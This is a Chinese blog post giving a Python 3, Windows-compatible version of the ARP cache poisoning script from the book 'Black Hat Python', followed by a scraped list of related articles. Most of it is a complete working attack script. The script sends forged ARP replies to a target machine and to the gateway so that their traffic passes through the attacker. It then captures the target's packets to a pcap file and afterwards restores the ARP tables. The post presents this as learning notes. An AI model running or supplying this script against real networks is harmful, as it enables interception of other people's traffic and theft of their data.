pythonarp攻击_《python黑帽子》ARP缓存投毒python3写法(兼容Windows)
1.先使用cmd进入scapy
2.输入IFACES命令
3.
QQ截图20200717141058.png
4.INDEX 13是我现在使用的网卡,代码为IFACES.dev_from_index(13) # 要嗅探的网卡
# -*- coding:utf8 -*-
from scapy.all import *
import os
import sys
import threading
import signal
from scapy.layers.l2 import ARP, Ether
interface = IFACES.dev_from_index(13) # 要嗅探的网卡
target_ip = "172.26.3.70" # 目标ip
gateway_ip = "172.26.3.1" # 网关ip
packet_count = 1000
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
# 以下代码调用send函数的方式稍有不同
print("[*] Restoring target...")
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)
# 发出退出信号到主线程
os.kill(os.getpid(), signal.SIGINT)
def get_mac(ip_address):
# srp函数(发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac)
responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address), timeout=2, retry=10)
# 返回从响应数据中获取的MAC地址
for s, r in responses:
return r[Ether].src
return None
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
# 构建欺骗目标的ARP请求(),这里没设置hwsrc,默认就是本机咯
# 简单来说:告诉被攻击机器,本机(攻击机)的mac是网关,就是攻击者的机器是网关
poison_target = ARP()
poison_target.op = 2 # 响应报文
poison_target.psrc = gateway_ip # 模拟是网关发出的, 其实是我们的机器发出的
poison_target.pdst = target_ip # 目的地是目标机器
poison_target.hwdst = target_mac # 目标的物理地址是目标机器的mac
# 构建欺骗网关的ARP请求(),这里没设置hwsrc,默认就是本机咯
poison_gateway = ARP()
poison_gateway.op = 2 # 响应报文
poison_gateway.psrc = target_ip # 模拟是目标机器发出的,
poison_gateway.pdst = gateway_ip # 目的地是网关
poison_gateway.hwdst = gateway_mac # 目标的物理地址是网关的mac
print("[*] Beginning the ARP poison. [CTRL_C to stop]")
while True:
try:
# 开始发送ARP欺骗包(投毒)
send(poison_target)
send(poison_gateway)
# 停两秒
time.sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
print("[*] ARP poison attack finished")
return
# 设置嗅探的网卡
conf.iface = interface
# 关闭输出
conf.verb = 0
print("[*] Setting up %s" % interface)
# 获取网关mac
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
print("[!!!] Failed to get gateway MAC. Exiting")
sys.exit(0)
else:
print("[*] Gateway %s is at %s" % (gateway_ip, gateway_mac))
# 获取目标(被攻击的机器)mac
target_mac = get_mac(target_ip)
if target_mac is None:
print("[!!!] Failed to get target MAC. Exiting")
sys.exit(0)
else:
print("[*] Target %s is at %s" % (target_ip, target_mac))
# 启动ARP投毒(欺骗)线程
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()
try:
print("[*] Starting sniffer for %d packets" % packet_count)
bpf_filter = "ip host %s " % target_ip # 过滤器
packets = sniff(count=packet_count, filter=bpf_filter, iface=interface)
# 将捕获到的数据包输出到文件
wrpcap("arper.pcap", packets)
# 还原网络配置
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
except KeyboardInterrupt:
# 还原网络配置
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
sys.exit(0)
pythonarp攻击_《python黑帽子》ARP缓存投毒python3写法(兼容Windows)相关推荐
- 《Python 黑帽子》学习笔记 - Python3 实现 netcat - Day 8
原书的代码主要考虑的是如何实现功能,在字符编码,socket 阻塞和数据交互,异常处理等方面存在一些问题,造成了程序功能不完善,逻辑出差和退出等情况. 本篇笔记记录用 Python3 实现原书的 ne ...
- 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第四章 使用SCAPY掌控网络(2)Scapy实现ARP缓存投毒
黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第四章 使用SCAPY掌控网络(2)Scapy实现ARP缓存投毒 文章目录 黑帽python第二版(Bl ...
- 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(九):自动化攻击取证
目录 前言 1.Volatility配置 2.抓取口令的哈希值 3.直接代码注入 4.插入shellcode 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书 ...
- 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(四):web攻击
目录 前言 1.urllib2 2.开源web应用安装 3.破解目录和文件位置 4.破解HTML表格认证 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源 ...
- Python黑帽子-黑客与渗透测试编程之道
Python黑帽子-黑客与渗透测试编程之道 时间:2018年4月28日 前言 本文参考了两篇资料,优化补全了代码内容 giantbranch 的 Python黑帽子–黑客与渗透测试编程之道 意闲 的 ...
- 关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记
本篇文章是学习<Python黑帽子:黑客与渗透测试编程之道>的笔记,会持续地将书上的代码自己敲一遍,从而让自己对Python的安全编程有更多的了解,同时希望各位可以给给建议,不足之处太多了 ...
- 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(三):scapy——网络的掌控者
目录 前言 1.窃取email认证 2.ARP缓存投毒 3.PCAP文件处理 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码,并自己将其中一些改写成P ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者
窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import *#数据包回调函数 def packet_callback ...
- Python黑帽子--黑客与渗透测试编程之道 python3 实现代码
最近在看 Python黑帽子–黑客与渗透测试编程之道 这本书 发现这本书的代码实现都是使用python2 的于是我就想使用python3来实现 缓慢更新中 python2版本 有一个博主写的特别好 这 ...
最新文章
- 【斩获7枚offer,入职阿里平台事业部】横扫阿里、美团、京东、 去哪儿之后,我写下了这篇面经!...
- Python-OpenCV 图像与视频处理
- 1-3_基本概念_程序进程
- OpenCV 图像平移
- JSP简单练习-JSP动作指令
- Spring Boot学习笔记-进阶(3)
- FZU_1683 矩阵快速幂 求和
- 吴恩达机器学习7——支持向量机SVM
- pytorch学习笔记(五):线性回归的简洁实现
- 移动端ajax,移动端ajax请求问题?
- 查看树莓派引脚以及串口连接
- Java链表入门(超详细)
- 5步操作,解决SOLIDWORKS处理复杂零件时卡顿的问题
- D. Take Your Seat
- 智齿客服Android集成流程,智齿客服接入_智齿客服客服系统如何接入网站_智齿客服接入流程_企业服务汇...
- 理解置信区间和置信水平
- 哪个ppt模板网站好
- 飘飘微课计算机百度云,数学微课_百度云资源_盘多多如风搜_盘搜搜_哎哟喂啊...
- mysql数据库的在线数据备份与数据恢复
- MySQL 数据库之 MMM 高可用架构构建